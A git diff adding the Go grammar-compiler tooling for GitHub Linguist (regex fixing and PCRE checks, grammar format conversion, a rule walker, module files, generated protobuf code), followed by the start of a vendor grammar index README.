+++ b/tools/grammars/compiler/pcre_test.go
@@ -0,0 +1,27 @@
+package compiler
+
+import (
+	"testing"
+)
+
+func Test_fixRegex(t *testing.T) {
+	tests := []struct {
+		re   string
+		want string
+	}{
+		{"foobar", "foobar"},
+		{`testing\h`, "testing[[:xdigit:]]"},
+		{`\htest`, `[[:xdigit:]]test`},
+		{`abc\hdef`, `abc[[:xdigit:]]def`},
+		{`\\\htest`, `\\[[:xdigit:]]test`},
+		{`\\htest`, `\\htest`},
+		{`\h\h\h\h`, `[[:xdigit:]][[:xdigit:]][[:xdigit:]][[:xdigit:]]`},
+		{`abc\hdef\hghi\h`, `abc[[:xdigit:]]def[[:xdigit:]]ghi[[:xdigit:]]`},
+	}
+	for _, tt := range tests {
+		got, _ := fixRegex(tt.re)
+		if got != tt.want {
+			t.Errorf("fixRegex() got = %v, want %v", got, tt.want)
+		}
+	}
+}
diff --git a/tools/grammars/compiler/proto.go b/tools/grammars/compiler/proto.go
new file mode 100644
index 0000000000..7ac6a33bc8
--- /dev/null
+++ b/tools/grammars/compiler/proto.go
@@ -0,0 +1,100 @@
+package compiler
+
+import (
+	"encoding/json"
+	"fmt"
+	"reflect"
+	"strings"
+
+	grammar "github.com/github/linguist/tools/grammars/proto"
+	"github.com/groob/plist"
+	"github.com/mitchellh/mapstructure"
+	yaml "gopkg.in/yaml.v2"
+)
+
+func looseDecoder(f reflect.Kind, t reflect.Kind, data interface{}) (interface{}, error) {
+	dataVal := reflect.ValueOf(data)
+	switch t {
+	case reflect.Bool:
+		switch f {
+		case reflect.Bool:
+			return dataVal.Bool(), nil
+		case reflect.Float32, reflect.Float64:
+			return (int(dataVal.Float()) != 0), nil
+		case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
+			return (dataVal.Int() != 0), nil
+		case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:
+			return (dataVal.Uint() != 0), nil
+		case reflect.String:
+			switch dataVal.String() {
+			case "1":
+				return true, nil
+			case "0":
+				return false, nil
+			}
+		}
+	}
+
+	return data, nil
+}
+
+func filterUnusedKeys(keys []string) (out []string) {
+	for _, k := range keys {
+		parts := strings.Split(k, ".")
+		field := parts[len(parts)-1]
+		if !KnownFields[field] {
+			out = append(out, k)
+		}
+	}
+	return
+}
+
+func ConvertProto(path, ext string, data []byte) (*grammar.Rule, []string, error) {
+	var (
+		raw map[string]interface{}
+		out grammar.Rule
+		err error
+		md  mapstructure.Metadata
+	)
+
+	switch strings.ToLower(ext) {
+	case ".plist", ".tmlanguage":
+		err = plist.Unmarshal(data, &raw)
+	case ".yaml-tmlanguage":
+		err = yaml.Unmarshal(data, &raw)
+	case ".cson":
+		data, err = ConvertCSON(data)
+		if err == nil {
+			err = json.Unmarshal(data, &raw)
+		}
+	case ".json":
+		err = json.Unmarshal(data, &raw)
+	default:
+		err = fmt.Errorf("grammars: unsupported extension '%s'", ext)
+	}
+
+	if err != nil {
+		return nil, nil, err
+	}
+
+	config := mapstructure.DecoderConfig{
+		Result:     &out,
+		Metadata:   &md,
+		DecodeHook: looseDecoder,
+	}
+
+	decoder, err := mapstructure.NewDecoder(&config)
+	if err != nil {
+		return nil, nil, err
+	}
+
+	if err := decoder.Decode(raw); err != nil {
+		return nil, nil, err
+	}
+
+	if out.ScopeName == "" {
+		return nil, nil, &UndeclaredScopeError{path}
+	}
+
+	return &out, filterUnusedKeys(md.Unused), nil
+}
diff --git a/tools/grammars/compiler/walker.go b/tools/grammars/compiler/walker.go
new file mode 100644
index 0000000000..c66f0813b2
--- /dev/null
+++ b/tools/grammars/compiler/walker.go
@@ -0,0 +1,79 @@
+package compiler
+
+import (
+	"strings"
+
+	grammar "github.com/github/linguist/tools/grammars/proto"
+)
+
+func (w *walker) checkInclude(rule *grammar.Rule) {
+	include := rule.Include
+
+	if include == "" || include[0] == '#' || include[0] == '$' {
+		return
+	}
+
+	if alias, ok := GrammarAliases[include]; ok {
+		rule.Include = alias
+		return
+	}
+
+	include = strings.Split(include, "#")[0]
+	ok := w.Known[include]
+	if !ok {
+		if !w.Missing[include] {
+			w.Missing[include] = true
+			w.Errors = append(w.Errors, &MissingIncludeError{w.File, include})
+		}
+		rule.Include = ""
+	}
+}
+
+func (w *walker) checkRegexps(rule *grammar.Rule) {
+	check := func(re string) string {
+		re2, err := CheckPCRE(re)
+		if err != nil {
+			w.Errors = append(w.Errors, &InvalidRegexError{w.File, err})
+		}
+		return re2
+	}
+
+	rule.Match = check(rule.Match)
+	rule.Begin = check(rule.Begin)
+	rule.While = check(rule.While)
+	rule.End = check(rule.End)
+}
+
+func (w *walker) walk(rule *grammar.Rule) {
+	w.checkInclude(rule)
+	w.checkRegexps(rule)
+
+	for _, rule := range rule.Patterns {
+		w.walk(rule)
+	}
+	for _, rule := range rule.Captures {
+		w.walk(rule)
+	}
+	for _, rule := range rule.BeginCaptures {
+		w.walk(rule)
+	}
+	for _, rule := range rule.WhileCaptures {
+		w.walk(rule)
+	}
+	for _, rule := range rule.EndCaptures {
+		w.walk(rule)
+	}
+	for _, rule := range rule.Repository {
+		w.walk(rule)
+	}
+	for _, rule := range rule.Injections {
+		w.walk(rule)
+	}
+}
+
+type walker struct {
+	File    *LoadedFile
+	Known   map[string]bool
+	Missing map[string]bool
+	Errors  []error
+}
diff --git a/tools/grammars/docker/build b/tools/grammars/docker/build
new file mode 100755
index 0000000000..85b5920de1
--- /dev/null
+++ b/tools/grammars/docker/build
@@ -0,0 +1,11 @@
+#!/bin/sh
+
+set -e
+cd "$(dirname "$0")/.."
+
+image=linguist/grammar-compiler
+docker build -t $image .
+
+if [ "$1" = "--push" ]; then
+    docker push $image
+fi
diff --git a/tools/grammars/go.mod b/tools/grammars/go.mod
new file mode 100644
index 0000000000..4b42a24184
--- /dev/null
+++ b/tools/grammars/go.mod
@@ -0,0 +1,23 @@
+module github.com/github/linguist/tools/grammars
+
+go 1.20
+
+require (
+	github.com/golang/protobuf v0.0.0-20171113180720-1e59b77b52bf
+	github.com/groob/plist v0.0.0-20171013152701-7b367e0aa692
+	github.com/mitchellh/mapstructure v0.0.0-20171017171808-06020f85339e
+	github.com/urfave/cli/v2 v2.3.0
+	gopkg.in/cheggaaa/pb.v1 v1.0.18
+	gopkg.in/yaml.v2 v2.2.8
+)
+
+require (
+	github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d // indirect
+	github.com/fatih/color v1.12.0 // indirect
+	github.com/mattn/go-colorable v0.1.8 // indirect
+	github.com/mattn/go-runewidth v0.0.2 // indirect
+	github.com/russross/blackfriday/v2 v2.0.1 // indirect
+	github.com/shurcooL/sanitized_anchor_name v1.0.0 // indirect
+	golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect
+	gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect
+)
diff --git a/tools/grammars/go.sum b/tools/grammars/go.sum
new file mode 100644
index 0000000000..5099dfddba
--- /dev/null
+++ b/tools/grammars/go.sum
@@ -0,0 +1,43 @@
+github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
+github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d h1:U+s90UTSYgptZMwQh2aRr3LuazLJIa+Pg3Kc1ylSYVY=
+github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
+github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
+github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
+github.com/golang/protobuf v0.0.0-20171113180720-1e59b77b52bf h1:pFr/u+m8QUBMW/itAczltF3guNRAL7XDs5tD3f6nSD0=
+github.com/golang/protobuf v0.0.0-20171113180720-1e59b77b52bf/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+github.com/groob/plist v0.0.0-20171013152701-7b367e0aa692 h1:F3uWF39OwKCeQswABIG9NCYJ1+yAzA9+Smd3QphihjA=
+github.com/groob/plist v0.0.0-20171013152701-7b367e0aa692/go.mod h1:qg2Nek0ND/hIr+nY8H1oVqEW2cLzVVNaAQ0QexOyjyc=
+github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI=
+github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
+github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
+github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
+github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
+github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
+github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
+github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
+github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mattn/go-runewidth v0.0.2 h1:UnlwIPBGaTZfPQ6T1IGzPI0EkYAQmT9fAEJ/poFC63o=
+github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
+github.com/mitchellh/mapstructure v0.0.0-20171017171808-06020f85339e h1:PtGHLB3CX3TFPcksODQMxncoeQKWwCgTg0bJ40VLJP4=
+github.com/mitchellh/mapstructure v0.0.0-20171017171808-06020f85339e/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q=
+github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
+github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo=
+github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
+github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M=
+github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI=
+golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
+golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae h1:/WDfKMnPU+m5M4xB+6x4kaepxRw6jWvR5iDRdvjHgy8=
+golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
+gopkg.in/cheggaaa/pb.v1 v1.0.18 h1:h5Qflf8N54NDtm3lWfBuCD4rslDjkXDoGkEMZCH4R80=
+gopkg.in/cheggaaa/pb.v1 v1.0.18/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw=
+gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10=
+gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
diff --git a/tools/grammars/pcre/pcre.go b/tools/grammars/pcre/pcre.go
new file mode 100644
index 0000000000..11f7abb5f9
--- /dev/null
+++ b/tools/grammars/pcre/pcre.go
@@ -0,0 +1,53 @@
+package pcre
+
+/*
+#cgo LDFLAGS: -lpcre
+#include <pcre.h>
+*/
+import "C"
+
+import (
+	"fmt"
+	"strings"
+	"unsafe"
+)
+
+func RegexPP(re string) string {
+	if len(re) > 32 {
+		re = fmt.Sprintf("\"`%s`...\"", re[:32])
+	} else {
+		re = fmt.Sprintf("\"`%s`\"", re)
+	}
+	return strings.Replace(re, "\n", "", -1)
+}
+
+type CompileError struct {
+	Pattern string
+	Message string
+	Offset  int
+}
+
+func (e *CompileError) Error() string {
+	return fmt.Sprintf("regex %s: %s (at offset %d)",
+		RegexPP(e.Pattern), e.Message, e.Offset)
+}
+
+const DefaultFlags = int(C.PCRE_DUPNAMES | C.PCRE_UTF8 | C.PCRE_NEWLINE_ANYCRLF)
+
+func CheckRegexp(pattern string, flags int) error {
+	pattern1 := C.CString(pattern)
+	defer C.free(unsafe.Pointer(pattern1))
+
+	var errptr *C.char
+	var erroffset C.int
+	ptr := C.pcre_compile(pattern1, C.int(flags), &errptr, &erroffset, nil)
+	if ptr == nil {
+		return &CompileError{
+			Pattern: pattern,
+			Message: C.GoString(errptr),
+			Offset:  int(erroffset),
+		}
+	}
+	C.free(unsafe.Pointer(ptr))
+	return nil
+}
diff --git a/tools/grammars/proto/grammar.pb.go b/tools/grammars/proto/grammar.pb.go
new file mode 100644
index 0000000000..3704c5e16e
--- /dev/null
+++ b/tools/grammars/proto/grammar.pb.go
@@ -0,0 +1,239 @@
+// Code generated by protoc-gen-go. DO NOT EDIT.
+// source: proto/grammar.proto
+
+/*
+Package grammar is a generated protocol buffer package.
+
+It is generated from these files:
+	proto/grammar.proto
+
+It has these top-level messages:
+	Rule
+	Library
+*/
+package grammar
+
+import proto "github.com/golang/protobuf/proto"
+import fmt "fmt"
+import math "math"
+
+// Reference imports to suppress errors if they are not otherwise used.
+var _ = proto.Marshal
+var _ = fmt.Errorf
+var _ = math.Inf
+
+// This is a compile-time assertion to ensure that this generated file
+// is compatible with the proto package it is being compiled against.
+// A compilation error at this line likely means your copy of the
+// proto package needs to be updated.
+const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package
+
+type Rule struct {
+	Name                string           `protobuf:"bytes,1,opt,name=name" json:"name,omitempty"`
+	ScopeName           string           `protobuf:"bytes,2,opt,name=scopeName" json:"scopeName,omitempty"`
+	ContentName         string           `protobuf:"bytes,3,opt,name=contentName" json:"contentName,omitempty"`
+	Match               string           `protobuf:"bytes,4,opt,name=match" json:"match,omitempty"`
+	Begin               string           `protobuf:"bytes,5,opt,name=begin" json:"begin,omitempty"`
+	While               string           `protobuf:"bytes,6,opt,name=while" json:"while,omitempty"`
+	End                 string           `protobuf:"bytes,7,opt,name=end" json:"end,omitempty"`
+	Include             string           `protobuf:"bytes,8,opt,name=include" json:"include,omitempty"`
+	Patterns            []*Rule          `protobuf:"bytes,9,rep,name=patterns" json:"patterns,omitempty"`
+	Captures            map[string]*Rule `protobuf:"bytes,10,rep,name=captures" json:"captures,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"`
+	BeginCaptures       map[string]*Rule `protobuf:"bytes,11,rep,name=beginCaptures" json:"beginCaptures,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"`
+	WhileCaptures       map[string]*Rule `protobuf:"bytes,12,rep,name=whileCaptures" json:"whileCaptures,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"`
+	EndCaptures         map[string]*Rule `protobuf:"bytes,13,rep,name=endCaptures" json:"endCaptures,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"`
+	Repository          map[string]*Rule `protobuf:"bytes,14,rep,name=repository" json:"repository,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"`
+	Injections          map[string]*Rule `protobuf:"bytes,15,rep,name=injections" json:"injections,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"`
+	Disabled            bool             `protobuf:"varint,16,opt,name=disabled" json:"disabled,omitempty"`
+	ApplyEndPatternLast bool             `protobuf:"varint,17,opt,name=applyEndPatternLast" json:"applyEndPatternLast,omitempty"`
+	IncludeResetBase    bool             `protobuf:"varint,18,opt,name=includeResetBase" json:"includeResetBase,omitempty"`
+}
+
+func (m *Rule) Reset()                    { *m = Rule{} }
+func (m *Rule) String() string            { return proto.CompactTextString(m) }
+func (*Rule) ProtoMessage()               {}
+func (*Rule) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{0} }
+
+func (m *Rule) GetName() string {
+	if m != nil {
+		return m.Name
+	}
+	return ""
+}
+
+func (m *Rule) GetScopeName() string {
+	if m != nil {
+		return m.ScopeName
+	}
+	return ""
+}
+
+func (m *Rule) GetContentName() string {
+	if m != nil {
+		return m.ContentName
+	}
+	return ""
+}
+
+func (m *Rule) GetMatch() string {
+	if m != nil {
+		return m.Match
+	}
+	return ""
+}
+
+func (m *Rule) GetBegin() string {
+	if m != nil {
+		return m.Begin
+	}
+	return ""
+}
+
+func (m *Rule) GetWhile() string {
+	if m != nil {
+		return m.While
+	}
+	return ""
+}
+
+func (m *Rule) GetEnd() string {
+	if m != nil {
+		return m.End
+	}
+	return ""
+}
+
+func (m *Rule) GetInclude() string {
+	if m != nil {
+		return m.Include
+	}
+	return ""
+}
+
+func (m *Rule) GetPatterns() []*Rule {
+	if m != nil {
+		return m.Patterns
+	}
+	return nil
+}
+
+func (m *Rule) GetCaptures() map[string]*Rule {
+	if m != nil {
+		return m.Captures
+	}
+	return nil
+}
+
+func (m *Rule) GetBeginCaptures() map[string]*Rule {
+	if m != nil {
+		return m.BeginCaptures
+	}
+	return nil
+}
+
+func (m *Rule) GetWhileCaptures() map[string]*Rule {
+	if m != nil {
+		return m.WhileCaptures
+	}
+	return nil
+}
+
+func (m *Rule) GetEndCaptures() map[string]*Rule {
+	if m != nil {
+		return m.EndCaptures
+	}
+	return nil
+}
+
+func (m *Rule) GetRepository() map[string]*Rule {
+	if m != nil {
+		return m.Repository
+	}
+	return nil
+}
+
+func (m *Rule) GetInjections() map[string]*Rule {
+	if m != nil {
+		return m.Injections
+	}
+	return nil
+}
+
+func (m *Rule) GetDisabled() bool {
+	if m != nil {
+		return m.Disabled
+	}
+	return false
+}
+
+func (m *Rule) GetApplyEndPatternLast() bool {
+	if m != nil {
+		return m.ApplyEndPatternLast
+	}
+	return false
+}
+
+func (m *Rule) GetIncludeResetBase() bool {
+	if m != nil {
+		return m.IncludeResetBase
+	}
+	return false
+}
+
+type Library struct {
+	Grammars map[string]*Rule `protobuf:"bytes,1,rep,name=grammars" json:"grammars,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"bytes,2,opt,name=value"`
+}
+
+func (m *Library) Reset()                    { *m = Library{} }
+func (m *Library) String() string            { return proto.CompactTextString(m) }
+func (*Library) ProtoMessage()               {}
+func (*Library) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{1} }
+
+func (m *Library) GetGrammars() map[string]*Rule {
+	if m != nil {
+		return m.Grammars
+	}
+	return nil
+}
+
+func init() {
+	proto.RegisterType((*Rule)(nil), "grammar.Rule")
+	proto.RegisterType((*Library)(nil), "grammar.Library")
+}
+
+func init() { proto.RegisterFile("proto/grammar.proto", fileDescriptor0) }
+
+var fileDescriptor0 = []byte{
+	// 486 bytes of a gzipped FileDescriptorProto
+	0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xa4, 0x54, 0xcb, 0x8e, 0xd3, 0x30,
+	0x14, 0x55, 0x66, 0xda, 0x69, 0x7a, 0x4b, 0x99, 0x72, 0x87, 0x85, 0x55, 0x1e, 0x8a, 0x86, 0x4d,
+	0x61, 0x51, 0x10, 0x2c, 0x40, 0x23, 0x21, 0xa1, 0x41, 0x05, 0x81, 0xca, 0x43, 0xd9, 0xb0, 0x76,
+	0x13, 0x6b, 0x26, 0x90, 0x3a, 0x91, 0xed, 0x82, 0xf2, 0x19, 0x7c, 0x19, 0xbf, 0x84, 0x7c, 0xed,
+	0xa6, 0x49, 0xdb, 0x5d, 0x76, 0xbe, 0xe7, 0x25, 0x3b, 0x3e, 0x0e, 0x5c, 0x94, 0xaa, 0x30, 0xc5,
+	0xf3, 0x1b, 0xc5, 0xd7, 0x6b, 0xae, 0xe6, 0x34, 0xe1, 0xc0, 0x8f, 0x97, 0xff, 0x86, 0xd0, 0x8b,
+	0x37, 0xb9, 0x40, 0x84, 0x9e, 0xe4, 0x6b, 0xc1, 0x82, 0x28, 0x98, 0x0d, 0x63, 0x5a, 0xe3, 0x43,
+	0x18, 0xea, 0xa4, 0x28, 0xc5, 0x57, 0x4b, 0x9c, 0x10, 0xb1, 0x03, 0x30, 0x82, 0x51, 0x52, 0x48,
+	0x23, 0xa4, 0x21, 0xfe, 0x94, 0xf8, 0x26, 0x84, 0xf7, 0xa1, 0xbf, 0xe6, 0x26, 0xb9, 0x65, 0x3d,
+	0xe2, 0xdc, 0x60, 0xd1, 0x95, 0xb8, 0xc9, 0x24, 0xeb, 0x3b, 0x94, 0x06, 0x8b, 0xfe, 0xb9, 0xcd,
+	0x72, 0xc1, 0xce, 0x1c, 0x4a, 0x03, 0x4e, 0xe0, 0x54, 0xc8, 0x94, 0x0d, 0x08, 0xb3, 0x4b, 0x64,
+	0x30, 0xc8, 0x64, 0x92, 0x6f, 0x52, 0xc1, 0x42, 0x42, 0xb7, 0x23, 0x3e, 0x85, 0xb0, 0xe4, 0xc6,
+	0x08, 0x25, 0x35, 0x1b, 0x46, 0xa7, 0xb3, 0xd1, 0xcb, 0xf1, 0x7c, 0x7b, 0x6a, 0x7b, 0xc4, 0xb8,
+	0xa6, 0xf1, 0x35, 0x84, 0x09, 0x2f, 0xcd, 0x46, 0x09, 0xcd, 0x80, 0xa4, 0x0f, 0x5a, 0xd2, 0xf9,
+	0x7b, 0xcf, 0x2e, 0xa4, 0x51, 0x55, 0x5c, 0x8b, 0xf1, 0x03, 0x8c, 0x69, 0xbb, 0x5b, 0x9e, 0x8d,
+	0xc8, 0x1d, 0xb5, 0xdd, 0xd7, 0x4d, 0x89, 0x8b, 0x68, 0xdb, 0x6c, 0x0e, 0x1d, 0xb0, 0xce, 0xb9,
+	0x73, 0x2c, 0xe7, 0x47, 0x53, 0xe2, 0x73, 0x5a, 0x36, 0x7c, 0x07, 0x23, 0x21, 0xd3, 0x3a, 0x65,
+	0x4c, 0x29, 0x8f, 0xdb, 0x29, 0x8b, 0x9d, 0xc0, 0x65, 0x34, 0x2d, 0xf8, 0x16, 0x40, 0x89, 0xb2,
+	0xd0, 0x99, 0x29, 0x54, 0xc5, 0xee, 0x52, 0xc0, 0xa3, 0x76, 0x40, 0x5c, 0xf3, 0xce, 0xdf, 0x30,
+	0x58, 0x7b, 0x26, 0x7f, 0x8a, 0xc4, 0x64, 0x85, 0xd4, 0xec, 0xfc, 0x98, 0xfd, 0x53, 0xcd, 0x7b,
+	0xfb, 0xce, 0x80, 0x53, 0x08, 0xd3, 0x4c, 0xf3, 0x55, 0x2e, 0x52, 0x36, 0x89, 0x82, 0x59, 0x18,
+	0xd7, 0x33, 0xbe, 0x80, 0x0b, 0x5e, 0x96, 0x79, 0xb5, 0x90, 0xe9, 0x77, 0x77, 0x71, 0x4b, 0xae,
+	0x0d, 0xbb, 0x47, 0xb2, 0x63, 0x14, 0x3e, 0x83, 0x89, 0x2f, 0x43, 0x2c, 0xb4, 0x30, 0xd7, 0x5c,
+	0x0b, 0x86, 0x24, 0x3f, 0xc0, 0xa7, 0x9f, 0x61, 0xdc, 0xfa, 0x2a, 0xb6, 0x6a, 0xbf, 0x44, 0xe5,
+	0xfb, 0x6f, 0x97, 0xf8, 0x04, 0xfa, 0xbf, 0x79, 0xbe, 0x71, 0xd5, 0x3f, 0x68, 0x93, 0xe3, 0xae,
+	0x4e, 0xde, 0x04, 0xd3, 0x6f, 0x80, 0x87, 0x57, 0xde, 0x31, 0xf0, 0xf0, 0xee, 0xbb, 0x04, 0x7e,
+	0x81, 0xc9, 0x7e, 0x0d, 0xba, 0xc4, 0x2d, 0xe1, 0x7c, 0xaf, 0x14, 0x1d, 0xd3, 0xf6, 0x3a, 0xd2,
+	0x21, 0xed, 0xf2, 0x6f, 0x00, 0x83, 0x65, 0xb6, 0x52, 0x5c, 0x55, 0x78, 0x05, 0xa1, 0x97, 0x69,
+	0x16, 0xec, 0xbd, 0x0d, 0xaf, 0x99, 0x7f, 0xf4, 0x02, 0xff, 0xd4, 0xb7, 0x7a, 0x5b, 0x90, 0x16,
+	0xd5, 0x61, 0x4f, 0xab, 0x33, 0xfa, 0xeb, 0xbe, 0xfa, 0x1f, 0x00, 0x00, 0xff, 0xff, 0x2b, 0x2e,
+	0xec, 0x55, 0x8c, 0x05, 0x00, 0x00,
+}
diff --git a/vendor/CodeMirror b/vendor/CodeMirror
new file mode 160000
index 0000000000..dd44c943cc
--- /dev/null
+++ b/vendor/CodeMirror
@@ -0,0 +1 @@
+Subproject commit dd44c943cc25109d73041abb9f859581c4dec07a
diff --git a/vendor/README.md b/vendor/README.md
new file mode 100644
index 0000000000..71363f19a7
--- /dev/null
+++ b/vendor/README.md
@@ -0,0 +1,687 @@
+Grammar index
+=============
+
+This is a list of grammars that Linguist selects to provide syntax highlighting on GitHub. If you've encountered an error with highlighting, please find the grammar in the list below and report it to the appropriate repository.
+
+**Note:** grammars marked with 🐌 are not updated when Linguist is so upstream fixes may take longer to appear on GitHub.
+
+<!-- Everything below this line is auto-generated by script/list-grammars. Manual edits will be lost -->
+- **1C Enterprise:** [xDrivenDevelopment/atom-language-1c-bsl](https://github.com/xDrivenDevelopment/atom-language-1c-bsl)
+- **2-Dimensional Array:** [Alhadis/language-etc](https://github.com/Alhadis/language-etc)
+- **4D:** [ayoubserti/lang-4d](https://github.com/ayoubserti/lang-4d)
+- **ABAP:** [pvl/abap.tmbundle](https://github.com/pvl/abap.tmbundle)
+- **ABAP CDS:** [FreHu/abap-cds-grammar](https://github.com/FreHu/abap-cds-grammar)
+- **ABNF:** [Alhadis/language-grammars](https://github.com/Alhadis/language-grammars)
+- **AGS Script:** [textmate/c.tmbundle](https://github.com/textmate/c.tmbundle)
+- **AIDL:** [google/aidl-language](https://github.com/google/aidl-language)
+- **AL:** [microsoft/AL](https://github.com/microsoft/AL)
+- **AMPL:** [ampl/sublime-ampl](https://github.com/ampl/sublime-ampl)
+- **ANTLR:** [textmate/antlr.tmbundle](https://github.com/textmate/antlr.tmbundle)
+- **API Blueprint:** [apiaryio/api-blueprint-sublime-plugin](https://github.com/apiaryio/api-blueprint-sublime-plugin)
+- **APL:** [Alhadis/language-apl](https://github.com/Alhadis/language-apl)
+- **ASL:** [sebadur/language-asl](https://github.com/sebadur/language-asl)
+- **ASN.1:** [ajlangley/language-asn1](https://github.com/ajlangley/language-asn1)
+- **ASP.NET:** [textmate/asp.tmbundle](https://github.com/textmate/asp.tmbundle)
+- **ATS:** [steinwaywhw/ats-mode-sublimetext](https://github.com/steinwaywhw/ats-mode-sublimetext)
+- **ActionScript:** [simongregory/actionscript3-tmbundle](https://github.com/simongregory/actionscript3-tmbundle)
+- **Ada:** [textmate/ada.tmbundle](https://github.com/textmate/ada.tmbundle)
+- **Adblock Filter List:** [AdguardTeam/VscodeAdblockSyntax](https://github.com/AdguardTeam/VscodeAdblockSyntax)
+- **Adobe Font Metrics:** [Alhadis/language-fontforge](https://github.com/Alhadis/language-fontforge)
+- **Agda:** [agda/agda-github-syntax-highlighting](https://github.com/agda/agda-github-syntax-highlighting)
+- **Alloy:** [macekond/Alloy.tmbundle](https://github.com/macekond/Alloy.tmbundle)
+- **Alpine Abuild:** [atom/language-shellscript](https://github.com/atom/language-shellscript)
+- **Altium Designer:** [textmate/ini.tmbundle](https://github.com/textmate/ini.tmbundle)
+- **AngelScript:** [wronex/sublime-angelscript](https://github.com/wronex/sublime-angelscript)
